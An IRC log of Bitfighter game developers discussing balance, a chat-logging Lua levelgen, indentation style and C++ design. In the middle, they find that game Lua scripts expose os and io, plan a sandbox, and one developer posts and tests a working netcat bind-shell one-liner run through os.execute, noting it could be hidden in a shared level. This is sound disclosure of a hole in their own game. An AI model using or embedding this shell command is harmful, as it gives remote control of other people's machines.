00:00:08 | Watusimoto | on how to line them up a little more |
00:00:30 | Watusimoto | I've reverted to stacked, so that will be my starting point |
00:01:17 | raptor | ok |
00:01:22 | raptor | have a good night! |
00:02:55 | Watusimoto | night all |
00:10:39 | | Watusimoto Quit (Ping timeout: 264 seconds) |
00:14:24 | | SolumnMushroom has joined |
00:14:56 | SolumnMushroom | openSUSE seems to be installing perfectly! |
00:15:57 | SolumnMushroom | Aside from some minor server hang times |
00:17:15 | raptor | SolumnMushroom: hooray! (it's my favorite distro) |
00:17:31 | raptor | have to head home! back later |
00:17:39 | | raptor Quit () |
00:17:40 | SolumnMushroom | It's the only distro that will install on my iBook G4 |
00:19:00 | fordcars | heh, nice you made it work! |
00:19:45 | SolumnMushroom | Yup. It's downloading 1.97 GB of data though. I'm using the netinstaller |
00:20:40 | SolumnMushroom | Didn't have enough time yesterday for the full download |
00:26:10 | | koda Quit (Quit: k thx bai) |
00:26:37 | SolumnMushroom | It'll only be another 724 packages... |
00:27:12 | | SolumnMushroom checks kaen for a pulse... |
00:27:46 | SolumnMushroom | I love the "/me" command |
00:29:29 | | SolumnMushroom has left the building... JK |
00:30:41 | | SolumnMushroom Quit (Quit: Leaving) |
00:55:57 | | fordcars me too |
01:18:42 | | raptor has joined |
01:18:43 | | ChanServ sets mode +o raptor |
01:32:59 | | raptor Quit () |
02:00:50 | | Platskies has joined |
02:27:09 | | raptor has joined |
02:27:09 | | ChanServ sets mode +o raptor |
02:33:26 | fordcars | hi |
02:36:19 | fordcars | later guys, I have to go |
02:38:01 | kaen | hi byte |
02:38:05 | kaen | bye* |
02:40:32 | | fordcars Quit (Ping timeout: 245 seconds) |
03:11:51 | raptor | kaen: so with fordcars new bot - my immediate thought was to log all BBB chat with a general levelgen script :) |
03:17:06 | | fordcars has joined |
03:17:56 | fordcars | nice idea, raptor! Would be neat |
03:26:16 | | Little_Apple has joined |
03:27:09 | Little_Apple | hello |
03:27:58 | raptor | you want this one: https://bitfighter.googlecode.com/hg-history/0d511788f129914d636cb66af30e199a7f1554da/resource/robots/s_bot.bot |
03:28:48 | Little_Apple | ok thanks |
03:31:44 | | Platskies Quit (Remote host closed the connection) |
03:43:45 | fordcars | arghhhhh |
03:46:05 | Little_Apple | ok done updating server |
03:46:20 | fordcars | why isn't this working :( if (listenArg ~= nil) and (playing == false) and (listenArg == player) then |
03:46:31 | fordcars | so simple, whyyy |
03:47:23 | raptor | fordcars: it has to match all three or it will fail |
03:50:46 | fordcars | yeah, I know that, raptor |
03:50:49 | fordcars | :P |
03:51:16 | fordcars | it's just not working, maybe I have weird variables set up before |
03:59:04 | | Little_Apple Quit (Quit: Page closed) |
04:06:30 | fordcars | argh I checked all the variables 15 times and it should work! |
04:09:52 | fordcars | AHHHHHHHHHH of course! Sorry, forgot to write getname() somewhere |
04:53:45 | fordcars | later guys, going to bed |
04:53:50 | fordcars | night |
04:53:55 | kaen | night |
04:58:02 | | fordcars Quit (Ping timeout: 245 seconds) |
05:08:48 | | spicey has joined |
05:08:59 | | spicey Quit (Client Quit) |
05:11:30 | raptor | spicey! |
05:11:59 | kaen | that's my girlfriend's nickname... |
05:12:08 | kaen | because her last name is spicer |
05:12:28 | raptor | what that a suprise appearance from her, then? :) |
05:12:33 | raptor | *surprise |
05:12:58 | kaen | umm.... it might actually be |
05:13:03 | kaen | let me see what she's doing |
05:13:48 | kaen | rofl it totally was |
05:13:55 | raptor | haha cool! |
05:14:08 | kaen | we were just talking about how bitfighter is better than hemp tycoon |
05:14:15 | kaen | I guess I made a cogent argument. |
05:14:32 | raptor | i've never even heard of that.. |
05:14:38 | kaen | farmville clone |
05:14:41 | kaen | but you grow reefer |
05:14:48 | kaen | brb I have to teach her how to move... |
05:14:51 | raptor | heh |
05:41:46 | kaen | that went well |
05:41:54 | kaen | she didn't realize the blue guys are real people |
05:42:16 | kaen | and then when I told her it was me she got mad |
05:42:48 | raptor | ha |
05:42:55 | kaen | but she likes playing with the logitech gamepad I have, so maybe she'll play in the BBB |
05:43:09 | raptor | great! |
05:43:15 | kaen | for some reason she likes the fact that I'm super into programming this obscure space game |
05:43:29 | kaen | but raptor, I just played my first game of bitfighter with sound and everything |
05:43:33 | raptor | yeah i think it's cool :) |
05:43:38 | raptor | oh really? |
05:43:40 | kaen | and imo the sounds are really, really, tacky |
05:43:42 | raptor | haha |
05:43:51 | kaen | like, I like the chiptune aesthetic, but we could do better |
05:43:59 | raptor | the zap sound starts to where on you... |
05:44:03 | raptor | *wear |
05:44:07 | raptor | man, getting late |
05:44:10 | kaen | I have some digital synths and I'm pretty good with them |
05:44:13 | raptor | even with music? |
05:44:14 | kaen | I'll see what I can cook up |
05:44:17 | kaen | yeah. |
05:44:23 | raptor | what do you think of the music? |
05:44:31 | kaen | I actually like the music a lot |
05:44:38 | raptor | I think we can do better - but it's a pretty good start |
05:44:44 | raptor | some of the tracks are really good |
05:44:54 | kaen | granted I only heard the music for like five minutes |
05:45:04 | raptor | there's more! |
05:45:17 | kaen | I'll have to check it out next time she's not on her laptop |
05:45:23 | raptor | haha |
05:50:49 | raptor | kaen: do you know if the GlobalLevelScript INI option is run on each level even if you supply a levelgen? |
05:51:28 | kaen | no idea |
05:51:32 | raptor | because, if so... we could have realtime chat log of games! (using a modified fordcars' bflogbot) :) |
05:51:33 | kaen | let me know what you find out :) |
05:51:51 | kaen | I've been wondering about all the uses it could have |
05:52:09 | kaen | if the lua api were a bit fuller it could be used for tournament organization |
05:52:33 | raptor | yeah, like triggering a DBUS call to send an IM message to all your buddies that raptor has just killed you :) |
05:52:38 | kaen | hehe |
05:53:52 | kaen | my guess is that it's run on each level load. I can't imagine the lua states are stable in between games. |
05:54:24 | raptor | hmm... I'll have to test |
05:54:31 | raptor | (after homework) |
06:01:31 | | bobdaduck has joined |
06:06:34 | bobdaduck | Goodmorning! |
06:06:38 | raptor | hi |
06:06:40 | kaen | hi |
06:11:27 | raptor | what's funny is I'm now working with phasors in my class |
06:12:29 | bobdaduck | phasor druid |
06:14:44 | raptor | forever spinning |
06:30:39 | raptor | so double repair rate for Core? |
06:32:58 | kaen | I think it just needs to be balanced against DPS |
06:33:08 | kaen | for core repairs at least |
06:33:43 | bobdaduck | No, just add double-tap burst repair option. |
06:33:57 | kaen | specifically, an offender can attain his objective *and* engage in combat |
06:34:05 | kaen | a repairing defender can do only one |
06:34:30 | kaen | effectively, at least |
06:36:00 | kaen | double tap repair would be even less effective than normal repair over an interval of more than like two seconds. |
06:36:52 | bobdaduck | what? |
06:36:53 | kaen | unless you gave it the same repair/energy ratio |
06:36:58 | kaen | what what? |
06:37:00 | bobdaduck | That's what I was thinking |
06:37:56 | kaen | seems like an over buff |
06:38:17 | kaen | suddenly repair/phaser is a god tier combat loadout |
06:38:23 | kaen | especially if you have shield too |
06:38:41 | kaen | when things get bad just double repair and you can still fire phasers |
06:39:22 | kaen | meanwhile your shield/boost opponent has been gasping for energy since the engagement started |
06:40:17 | bobdaduck | no because |
06:40:27 | bobdaduck | Double tap repair would leave you with no energy at all |
06:41:13 | kaen | you can still fire phasers with no energy... |
06:41:55 | kaen | and you'd have full health and your shield and your repair your opponent flees |
06:42:04 | kaen | your repair if* |
06:42:56 | bobdaduck | You have no shield, just full health. That's six hits. Your opponent has full health and shield... |
06:42:59 | raptor | finally finished.. |
06:43:13 | kaen | not if you've been in an engagement and you are equally skilled |
06:43:13 | bobdaduck | I don't see how this is even a viable idea |
06:43:22 | kaen | I don't see how you don't see it |
06:43:39 | raptor | i don't see? |
06:44:14 | kaen | shield/boost meets shield/repair with full energy and full health. normal shield/phaser combat proceeds |
06:44:24 | kaen | as the repair guy falls to critical he double taps |
06:44:38 | raptor | ah, i get it |
06:44:38 | kaen | regains some excessive amount of health |
06:44:58 | kaen | now your opponent (who has likely been boosting to outmaneuver you) is energy drained |
06:45:18 | kaen | his modules both useless and he's approximately as deprived of health as you were before you double tapped |
06:45:41 | kaen | paribus ceteris, repair wins that engagement |
06:45:51 | raptor | something better than shield! |
06:46:04 | kaen | uh |
06:46:09 | kaen | it would be repair + shield |
06:46:12 | raptor | heh |
06:46:24 | raptor | yes, one of my favorite combos anyways.. |
06:46:57 | bobdaduck | Uh |
06:47:07 | bobdaduck | it would be proportional to how much energy you have, same as boost. |
06:47:17 | bobdaduck | If you only have a little bit of energy, you only gain a little bit of health. |
06:48:13 | kaen | so it amplifies the energy gap that repair/shield would generally have when meeting boost/shield |
06:48:27 | bobdaduck | ...what even |
06:49:08 | kaen | man it must really be late over there... |
06:49:37 | raptor | 12:50... getting hazey |
06:51:30 | bobdaduck | amplifies the energy gap what. |
06:51:31 | bobdaduck | Like what. |
06:51:47 | raptor | i declare us too mentally incapacitated to argue |
06:52:37 | bobdaduck | xD |
06:52:46 | kaen | I'd say that's true of me too |
06:52:55 | kaen | it'd be more productive to continue in the morning |
06:52:59 | kaen | night, gentlemen. |
06:53:02 | bobdaduck | night |
06:53:04 | raptor | huh |
06:53:06 | raptor | wait |
06:53:14 | raptor | test succeeded! |
06:53:26 | raptor | logger.levelgen will start on every level to log conversations |
06:53:46 | raptor | as the GlobalLevelScript |
06:53:57 | raptor | and a normal levelgen script will still run |
06:54:40 | bobdaduck | cool! |
06:55:20 | raptor | we could use it in a BBB |
06:55:40 | raptor | to capture all the.. umm.. intelligent conversation that goes on |
06:58:41 | bobdaduck | lol |
07:08:25 | raptor | bobdaduck: still up? |
07:08:36 | bobdaduck | I've evolved past the need for sleep |
07:08:42 | raptor | Using the GlobalLevelScript INI option would be a great way to 'moderate' so to speak on a server |
07:09:08 | raptor | since it gets run with every level, it's like adding server-wide options |
07:09:26 | raptor | you could always auto-respond to a player |
07:09:33 | bobdaduck | That's pretty cool |
07:09:39 | bobdaduck | That's something that actually exists? |
07:09:40 | raptor | or do message-based actions in any level |
07:09:43 | raptor | yes! |
07:09:45 | raptor | i just found it! |
07:10:02 | raptor | create a file like: masterscript.levelgen |
07:10:22 | raptor | put it in your levels folder, then in your INI add it to the section like so: GlobalLevelScript=masterscript |
07:11:27 | bobdaduck | YOU SHOULD NOT HAVE TOLD ME THIS. |
07:11:48 | raptor | but it's so cool! |
07:11:53 | bobdaduck | lol |
07:11:54 | bobdaduck | Yeah |
07:11:59 | bobdaduck | I'll mess with it lots. |
07:12:12 | raptor | you could kill Lamp any time he does an emoticon :| |
07:12:23 | raptor | the possibilities.. |
07:12:28 | raptor | on ANY LEVEL |
07:14:41 | bobdaduck | IKR |
07:14:43 | bobdaduck | xD |
07:24:41 | | bobdaduck Quit (Remote host closed the connection) |
07:39:00 | raptor | good night BFLogBot |
07:39:03 | | raptor Quit () |
07:57:14 | | watusimoto has joined |
07:57:15 | | ChanServ sets mode +o watusimoto |
08:05:45 | | LordDVG has joined |
08:28:44 | | Platskies has joined |
08:33:07 | | Platskies Quit (Ping timeout: 245 seconds) |
08:56:57 | | Platskies has joined |
09:17:25 | | koda has joined |
09:20:59 | | LordDVG Quit (Remote host closed the connection) |
09:25:34 | | Platskies Quit (Remote host closed the connection) |
12:00:01 | | Watusimoto_ has joined |
13:24:08 | | Watusimoto_ Quit (Ping timeout: 255 seconds) |
14:41:05 | | kaen Quit (Ping timeout: 255 seconds) |
16:07:43 | | raptor has joined |
16:07:43 | | ChanServ sets mode +o raptor |
16:31:00 | | kaen has joined |
16:36:37 | raptor | watusimoto: I give you logger.levelgen!: http://pastie.org/7316412 |
16:38:10 | watusimoto | wunderbar! |
16:38:41 | raptor | It might be fun to use it at the next BBB |
16:40:14 | watusimoto | maybe... though I have some doubt about how interesting the contents would be |
16:40:30 | raptor | I completely agree |
16:40:31 | watusimoto | we could make game stats available to the scripts for local logging |
16:40:51 | raptor | it was mostly an experiment on whether you could have a global script *and* a normal levelgen script |
16:40:55 | watusimoto | we collect them anyway to send to the master, no? |
16:41:09 | watusimoto | we could have an onGameOver event |
16:41:37 | watusimoto | well, I am in full support of experimentation |
16:41:42 | raptor | yeah |
16:41:46 | watusimoto | especially successful experimentation |
16:41:51 | watusimoto | :-) |
16:43:02 | raptor | I wonder if I should release it on the forums... |
16:43:13 | raptor | not many people know about the global script option |
16:43:34 | raptor | it could be used to give more power to the admin |
16:43:43 | raptor | like use onMsgReceived |
16:43:54 | raptor | make sure it's from you, and kill a designated player |
16:45:05 | watusimoto | ummm... I'm not sure I know about the global script option |
16:45:17 | raptor | yeah - i just discovered it yesterday |
16:45:24 | watusimoto | a sam thing? |
16:45:26 | raptor | in the INI: GlobalLevelScript= |
16:45:30 | raptor | must be |
16:45:39 | raptor | but it gets run on *every* level |
16:45:43 | watusimoto | makes sense |
16:45:53 | raptor | in addition to any bots or specific level-based script |
16:46:16 | raptor | sam686 disappears, but he really doesn't... |
16:46:17 | watusimoto | we should make that handle multiple scripts |
16:46:24 | watusimoto | his ghost lingers |
16:47:22 | watusimoto | well, great; glad the experiment worked. I designed it to handle multiple scripts, but never actually tried it |
16:47:36 | raptor | yeah, works like a charm |
16:49:31 | raptor | I made the mistake of telling bobdaduck of what I was up to last night... I'm sure he'll come up with some trolling global admin script |
16:49:32 | kaen | um guys |
16:49:39 | raptor | hi kaen |
16:49:40 | kaen | why do we expose the lua standard lib? |
16:49:47 | kaen | including os.execute? |
16:50:10 | raptor | oh yeah - that was my last thought last night - 'this seems prone to catastrophe' |
16:50:15 | kaen | I think we should include all of it but io and os |
16:50:20 | kaen | the rest are fairly harmless |
16:50:30 | kaen | oh god |
16:50:33 | kaen | os.remove |
16:50:34 | kaen | os.rename |
16:50:35 | raptor | yep |
16:50:55 | raptor | someone could distribute an AWESOME!!11 script and have it remove your home directory |
16:51:19 | kaen | my guess is that we call luaL_openlibs |
16:51:31 | kaen | we should just call luaopen_string, luaopen_package, etc |
16:51:48 | raptor | I have no idea how the system works, nor how to lock it down except for a few things.. |
16:52:00 | kaen | I just read the docs. it's really straightforward |
16:53:09 | kaen | I think fordcars found the only legitimate use of exposing io. and I think that should actually just be a log option. |
16:53:56 | kaen | I remember, too that he was trying to import a socket library. a more technical and deviously motivated scripter could probably accomplish this |
16:53:59 | watusimoto | why do we expose them? |
16:54:03 | watusimoto | we used to not expose them |
16:54:05 | kaen | I have no clue |
16:54:12 | kaen | but they're there nonetheless. |
16:54:40 | kaen | luascriptrunner:397 |
16:55:11 | watusimoto | we do call openlibs, but at one point in the past we explicitly overwrote os and maybe part of debug to make them inaccessible |
16:55:11 | kaen | if we replace that call with individual load calls for the harmless packages (things like string could actually be useful) then we should be good |
16:55:37 | kaen | there's no need for that because lua has an interface for cherry picking which modules we expose |
16:55:52 | watusimoto | I *think* that is going away in 5.2 |
16:56:50 | kaen | still in the 5.2 manual |
16:57:44 | kaen | http://www.lua.org/manual/5.2/manual.html#6 |
16:57:46 | watusimoto | well, this pretty much details what's safe and what's not |
16:57:47 | watusimoto | http://lua-users.org/wiki/SandBoxes |
16:58:40 | watusimoto | it's not quite as straightforward as saying os is dangerous, other stuff is safe |
16:59:22 | | Darrel has joined |
16:59:29 | watusimoto | though I am not worried about dos via endless loops or the stuff that lets you see implemetnations |
16:59:41 | kaen | true, but os, io, and coroutine are definitely not safe. |
16:59:52 | raptor | oh the power! |
17:00:02 | kaen | and lua scripts in bitfighter certainly have no legitimate uses for them. |
17:00:03 | watusimoto | os.clock is safe :-) |
17:00:27 | watusimoto | raptor just wrote a script that uses io! |
17:00:58 | watusimoto | but os is definitely bad news |
17:01:01 | kaen | to implement a missing feature of the logging capability |
17:02:09 | kaen | it would be tricky if we had some lua scripts that do need these things, but since all scripts are strictly for gamestate manipulation we really don't need to expose the dangerous modules. |
17:02:19 | watusimoto | I agree |
17:02:42 | | koda Quit (Ping timeout: 245 seconds) |
17:02:49 | watusimoto | and if there is a need for something, we can provide a local implementaiton of it |
17:02:51 | kaen | and I honestly don't want to see what quartz would do with io access on kaen test... |
17:03:01 | watusimoto | :-) |
17:03:14 | watusimoto | something unsafe |
17:03:31 | watusimoto | I'll put it on the todo list |
17:03:59 | raptor | ok, i don't mind my script getting killed in the name of not-wiping-out-the-filesystem |
17:05:03 | kaen | that's not even the most devious thing I can think of. |
17:05:19 | kaen | spawn a coroutine to open a sh shell taking input from netcat... |
17:05:24 | kaen | etc. |
17:05:52 | kaen | especially on a server with lax firewalls and a known IP |
17:06:06 | kaen | you could even make netcat outbound and just have the server connect to you |
17:06:12 | kaen | man I'm worrying myself too much |
17:06:26 | watusimoto | paranoia is healthy |
17:07:06 | watusimoto | raptor: your script could write stuff to the game log for later filtering |
17:07:17 | raptor | say waht? |
17:07:52 | watusimoto | your script could log chat messages to bitgifhter.log, and you could later pass that through grep to recover the data |
17:08:11 | raptor | ah |
17:08:17 | raptor | yes, I suppose it could.. |
17:08:20 | watusimoto | or we could allow scripts to open a fixed number of other log files |
17:08:28 | watusimoto | or something |
17:08:37 | watusimoto | ok, gotta run |
17:08:39 | raptor | sandbox to a specific subdirectory? |
17:08:39 | kaen | could expose a log object with a .writeln method |
17:08:45 | raptor | ok |
17:08:47 | raptor | later |
17:08:51 | kaen | I'm thinking that's best. |
17:08:53 | kaen | cya wat |
17:09:19 | watusimoto | a specific directory might make sense |
17:11:51 | raptor | io to scripts/sandbox |
17:11:58 | raptor | and go crazy! |
17:13:56 | | watusimoto Quit (Ping timeout: 252 seconds) |
17:40:54 | | kaen Quit (Read error: Connection reset by peer) |
17:42:36 | | kaen has joined |
17:42:47 | kaen | os.execute('bash -c \'mkfifo ~/inp; nc -l 2000 < <(bash <~/inp 2>&1) >~/inp & \'') |
17:42:53 | kaen | spawns a remote shell on port 2000 |
17:43:09 | kaen | doesn't even block |
17:43:09 | raptor | ha! |
17:43:13 | kaen | just tested on kaen test. |
17:43:21 | raptor | netcat is a lovely tool |
17:43:42 | kaen | they don't call it the network swiss army knife for nothing |
17:45:50 | kaen | it would not be the least bit difficult to obfuscate that in a string as a tiny, harmless, indecipherable line in KAENS AWESOMEST DUNGEON LEVELGEN |
17:47:40 | raptor | good thing we're too small to show up on mitre.org... |
17:48:06 | kaen | lmao |
17:49:14 | raptor | err... the CVE part |
17:49:38 | raptor | http://cve.mitre.org/ <-- that one |
17:52:13 | kaen | right |
17:52:34 | kaen | I was looking for equivalent windows code; it seems that MS is more secure in this regard |
17:52:59 | kaen | but if telnet services have been enabled you can do the equivalent with telnet and cmd |
17:54:19 | raptor | and now with level uploading, then downloading... it's never been easier! |
17:54:29 | kaen | \o/ |
17:54:53 | kaen | bitfighter -- the ultimate DL&E warez |
17:55:34 | raptor | haha |
17:55:53 | raptor | I almost don't want the game to be famous now... |
17:56:04 | kaen | yeah... |
17:56:41 | kaen | there are probably many more exploits hiding within it. |
17:56:57 | kaen | since we have evidence of memory corruption bugs |
17:57:11 | kaen | which smeck of buffer overruns |
17:57:51 | kaen | good thing we have a resourceful white-hat at our disposal :) |
17:58:10 | raptor | ha! |
17:58:29 | raptor | I don't know if you'd remember this, but there used to be some IM software called 'ICQ' |
17:58:33 | kaen | yep |
17:58:35 | raptor | late 90s, early 2000s |
17:58:40 | raptor | it so popular so quickly |
17:58:42 | raptor | *it got |
17:59:33 | raptor | exploits were found in no time, and everyone could start doing crazy things to other people in their contact lists |
17:59:50 | kaen | I just typed in "icq exploits" |
17:59:58 | kaen | buffer overruns when posting urls... |
18:00:00 | kaen | good god. |
18:00:06 | raptor | remote crashing windows 98? there were a dozen different ways |
18:00:08 | | Watusimoto has joined |
18:00:41 | raptor | oh yeah, i remember that - simple URLs would let you hijack |
18:00:54 | raptor | it was insane |
18:01:03 | raptor | anyways, it was quickly taken over by AIM |
18:01:23 | raptor | which I think had a little bit more security in mind |
18:01:28 | raptor | before the bloat |
18:02:29 | kaen | Watusimoto, didja see my bindshell code? |
18:02:32 | kaen | os.execute('bash -c \'mkfifo ~/inp; nc -l 2000 < <(bash <~/inp 2>&1) >~/inp & \'') |
18:02:47 | Watusimoto | hi |
18:02:50 | kaen | hello |
18:03:04 | Watusimoto | wait, is this a lua exploit? |
18:03:08 | kaen | yeah |
18:03:11 | Watusimoto | oh boy |
18:03:14 | kaen | creates a remote shell on port 2000 |
18:03:17 | raptor | one of the first really neat ones! |
18:03:18 | kaen | works great on kaen test |
18:03:23 | Watusimoto | ha! |
18:03:39 | Watusimoto | get quartz to run it on his machine and get some payback! |
18:03:57 | kaen | I was looking for a windows version... |
18:04:06 | kaen | but anyway I'm not a malicious guy |
18:04:08 | Watusimoto | windows is too safe :-) |
18:04:16 | kaen | in this regard it truly is |
18:04:21 | kaen | unless you've enabled telnet |
18:04:22 | raptor | ^^ because of lack of features |
18:04:22 | Watusimoto | sadly |
18:04:26 | Watusimoto | yes |
18:05:03 | kaen | but I mean there are known local privilege escalation exploits. I'm just not that good of a security guy. |
18:05:41 | raptor | linux kernel local-privilege escalation exploits sell for $100,000s |
18:06:20 | raptor | (usually to western governments, I hear) |
18:09:41 | Watusimoto | I wonder how much we could get for a bitfighter exploit |
18:09:55 | raptor | interesting... I'll sell you one for $20! |
18:10:01 | Watusimoto | $15! |
18:10:12 | raptor | tater tots! |
18:11:46 | raptor | I wonder if we could render commander's map without overlayed HUD to a back buffer, then take screenshot and be done |
18:12:00 | raptor | (for kaen's level database screen shots) |
18:15:56 | Watusimoto | that would be good |
18:17:34 | raptor | and would it be useful to render to svg? |
18:17:38 | raptor | *output |
18:17:56 | raptor | there was that opengl to svg library I implemented once |
18:18:27 | raptor | although, maybe it'd be more useful to build our own Level code -> svg parser anyways, instead of having to go through the game |
18:38:02 | Watusimoto | ignore the flags... here;s the latest display. dinner time. back later |
18:38:04 | Watusimoto | http://img839.imageshack.us/img839/7640/screenshot39u.png |
18:39:38 | raptor | hmmm |
18:39:46 | raptor | time looks really big |
18:42:29 | | Watusimoto Quit (Ping timeout: 252 seconds) |
18:49:49 | kaen | the time is godo |
18:49:50 | kaen | good |
18:49:54 | kaen | the lines are redundant though |
18:50:31 | kaen | the whitespace will act as a separator if you remove them since you've differentiated the color/size/font of the different info |
18:51:20 | kaen | maybe I should re-enable join/part messages in my client... |
18:51:39 | raptor | heh |
18:51:55 | kaen | it's just that I hate join/part spam |
18:51:58 | raptor | i suggested the lines yesterday to allow easy separation in the brain |
18:52:10 | kaen | the colors and font size do that already |
18:52:31 | kaen | the lines are just visual noise and another thing to parse when you look at the display |
18:52:42 | raptor | you think they do it enough? the white time, flag poles, and team score mess it up a bit for me |
18:53:03 | kaen | I think the scores being the same color as the time is a bad call |
18:53:17 | raptor | yeah, maybe a change there would really help |
18:54:45 | kaen | a graphic design is complete not when there's nothing more to add, but when there's nothing more to remove :) |
18:54:57 | raptor | I like that! |
18:55:12 | kaen | I wish I could take credit for it :P |
18:55:25 | kaen | I've read it in probably a dozen different visual design books |
18:57:32 | kaen | "A designer knows he has achieved perfection not when there is nothing left to add, but when there is nothing left to take away." -- Antoine de Saint-Exupery |
19:05:33 | raptor | I wonder if that shouldn't be applied to coding, too... (I'm currently debugging a monster Java application with too many abstracted layers..) |
19:36:54 | kaen | I apply it to code vigorously |
19:37:16 | kaen | all design is fundamentally the same imo |
19:37:35 | kaen | find the least complicated solution to satisfactorily solve a given problem |
19:37:55 | kaen | visually, programatically, architecturally |
19:37:59 | kaen | whatever it might be |
19:44:04 | | Watusimoto has joined |
19:47:29 | kaen | mUIManager = new UIManager(this); // Gets deleted in destructor |
19:47:51 | kaen | is there a reason that stuff like this isn't declared as the full type rather than a pointer? |
19:48:24 | raptor | lazy load |
19:48:28 | kaen | since it's instantiated in the constructor and deleted in the destructor of its owner it seems like a composite member |
19:48:39 | kaen | how is that lazy? |
19:48:54 | raptor | oh, the manager |
19:48:58 | raptor | hmmm |
19:49:03 | raptor | not sure... |
19:49:18 | Watusimoto | It's that way for one of two reasons |
19:49:24 | Watusimoto | 1) hisory |
19:49:31 | Watusimoto | that would be history |
19:49:49 | Watusimoto | 2) I wanted to pass something into the constructor |
19:49:50 | raptor | hehe |
19:50:17 | raptor | I don't understand #2 as a reason.. |
19:50:25 | Watusimoto | the uiManager is relatively new, but I think it had a different design when I first created it |
19:50:49 | kaen | mUIManager(this) doesn't work? |
19:50:58 | kaen | in the initializer list? |
19:51:30 | Watusimoto | I don;t think you can use this in the initializer list, can you? |
19:51:33 | kaen | yep |
19:51:36 | Watusimoto | because is this fully formed? |
19:51:42 | kaen | only exception is if ... exactly |
19:51:53 | kaen | if UIManager is accessing an unitialized manager then no |
19:52:00 | kaen | uninitialized* |
19:52:22 | Watusimoto | but does this exist in the initialization list? |
19:52:26 | kaen | yes |
19:53:26 | kaen | honestly that's a small fish compared to what we should be focusing on |
19:53:32 | kaen | I was just curious to know about it. |
19:54:14 | Watusimoto | http://stackoverflow.com/questions/5058349/is-it-safe-to-use-the-this-pointer-in-an-initialization-list |
19:54:38 | Watusimoto | well, perhaps the reason is I thought you coldn't do it :-) |
19:55:21 | Watusimoto | feel free to change it if you like |
19:55:48 | kaen | sure. probably around the time that I abstract the rendering layer and implement full coverage unit testing :P |
19:56:11 | kaen | (joking) |
19:56:28 | Watusimoto | rats |
19:56:54 | | bobdaduck has joined |
19:57:15 | raptor | rats |
19:57:38 | bobdaduck | morning peepz |
19:58:27 | raptor | hello |
19:59:39 | bobdaduck | So my idea for global levelgen script |
19:59:52 | bobdaduck | is to basically every so often take a random player and set their velocity to zero |
19:59:54 | bobdaduck | to simulate lag |
20:00:13 | raptor | I knew something like this was going to happen.. |
20:00:27 | bobdaduck | xD |
20:00:35 | bobdaduck | I am probably not going to do that |
20:00:40 | bobdaduck | It sounds boring. |
20:00:46 | raptor | our running bug list is becoming unruly |
20:01:10 | raptor | I still say you should randomly teleport Lamp everytime he uses a: :| |
20:01:12 | bobdaduck | Unruly, is it? |
20:01:14 | bobdaduck | xD |
20:13:09 | bobdaduck | I take it back |
20:13:12 | bobdaduck | I'm doing it |
20:13:18 | bobdaduck | not as my global levelgen script though. |
20:14:35 | raptor | argh the bot crashing bug.. |
20:14:35 | bobdaduck | Because remember in Quartz' head in the clouds level he wanted a script to like, mess people up when they get into the middle? |
20:14:54 | raptor | not sure i remember that one.. |
20:15:50 | bobdaduck | it was slightly asymetrical, with angels and demons and hold the flag |
20:16:25 | raptor | did it have the jail-like lineitem graphic in the middle? |
20:16:32 | bobdaduck | yeah that one. |
20:16:41 | bobdaduck | He wanted ships to occasionally like, get stuck in the middle there |
20:16:55 | bobdaduck | a fake-lag script would work great there |
20:19:10 | bobdaduck | So tell me, why do you guys use spaces instead of tabs? |
20:19:15 | raptor | do a zone to trigger a random number from like 1 - 100; if the number is less than 10, stop the ship for a half-second |
20:20:36 | bobdaduck | uh |
20:21:47 | bobdaduck | What I'm doing is when ship enters zone, have a timer(function, math.random(5000)) and just keep doing that until the ship leaves the zone |
20:22:24 | raptor | ha |
20:23:04 | raptor | spaces vs tabs is a long issue |
20:23:26 | raptor | some languages need spaces (python), others don't and it personal preference |
20:23:41 | bobdaduck | because if you do something long enough you start developing weird prejudices and emotional attachments to things nobody else even knows exist |
20:24:07 | raptor | at work coding in Java, I just let the editor auto-tab everything |
20:24:20 | raptor | but with bitfighter, I let the editor auto-3-space everything |
20:25:08 | raptor | it was Watusimoto's preference at once point - I think I even remember asking him why (but have since forgotten) |
20:25:31 | raptor | something like "3 spaces is a perfect indent!" |
20:25:43 | Watusimoto | you can already simulate lag! and it sucks! |
20:25:46 | raptor | but editors let you set tab width so... I don't know.. |
20:26:39 | kaen | spaces are properly aligned when viewing regardless of editor configuration |
20:26:50 | Watusimoto | you can do python with tabs! |
20:27:00 | kaen | but the number of spaces to use is something of a holy war |
20:27:05 | kaen | as is spaces vs. tabs |
20:27:22 | bobdaduck | HAH this script is so funny |
20:27:23 | Watusimoto | 3 spaces was the zap standard |
20:27:39 | kaen | it's literally the only code I've ever seen that uses 3 |
20:27:42 | Watusimoto | I basically followed most of their standards, adding a few things like consistent vertical whitespace between functions |
20:27:44 | kaen | but I'm not complaining. |
20:27:58 | bobdaduck | I can simulate lag and it sucks? |
20:28:13 | kaen | 3 makes multi-line if conditions line up real pretty, too |
20:28:14 | Watusimoto | kaen: really? I've always used 3 everywhere for everything! |
20:28:31 | Watusimoto | though at work I do my js/ruby with 2, and my python with 4 |
20:28:36 | Watusimoto | just to keep it real |
20:28:43 | kaen | two is my preference |
20:29:02 | raptor | I've never seen another project with 3 either |
20:29:04 | Watusimoto | it's hard to follow deep nesting with 2, I think |
20:29:09 | kaen | 4 for python, c and c++, everything else in 2 |
20:29:16 | kaen | yes I agree |
20:29:17 | raptor | 2 is the bash programmers way! |
20:29:28 | kaen | really? thought bashers use 8 wide tabs |
20:29:36 | kaen | per linux kernel conventions |
20:29:59 | Watusimoto | bobdaduck: more than you ever wanted to know is here http://en.wikipedia.org/wiki/Indent_style |
20:30:02 | raptor | well that explains why some snippets are so wide... |
20:30:34 | raptor | http://www.codinghorror.com/blog/2009/04/death-to-the-space-infidels.html |
20:31:38 | raptor | oh my goodness: http://compsoc.dur.ac.uk/whitespace/ |
20:32:32 | Watusimoto | bobdaduck: try /lag |
20:32:37 | bobdaduck | lol |
20:32:46 | bobdaduck | So what my script does |
20:32:57 | kaen | "Wherever there are two programmers working on the same project, there are invariably disagreements about how the code should be formatted" |
20:32:58 | bobdaduck | is essentially makes it so all ships in a zone are like, moving through water. |
20:33:17 | kaen | atwood is like the dalai lama |
20:33:33 | Watusimoto | "The only programming project with no disagreement whatsoever on code formatting is the one you work on alone. " |
20:33:39 | bobdaduck | raptor you should try this out |
20:33:41 | bobdaduck | http://pastie.org/7319293 |
20:33:52 | Watusimoto | and even then that statement isn't always true |
20:33:57 | kaen | hehe |
20:34:12 | raptor | bobdaduck: WHAT ARE YOU DOING |
20:34:17 | bobdaduck | rofl |
20:34:17 | Watusimoto | I get in violent arguments with myself about indention and quoting styles |
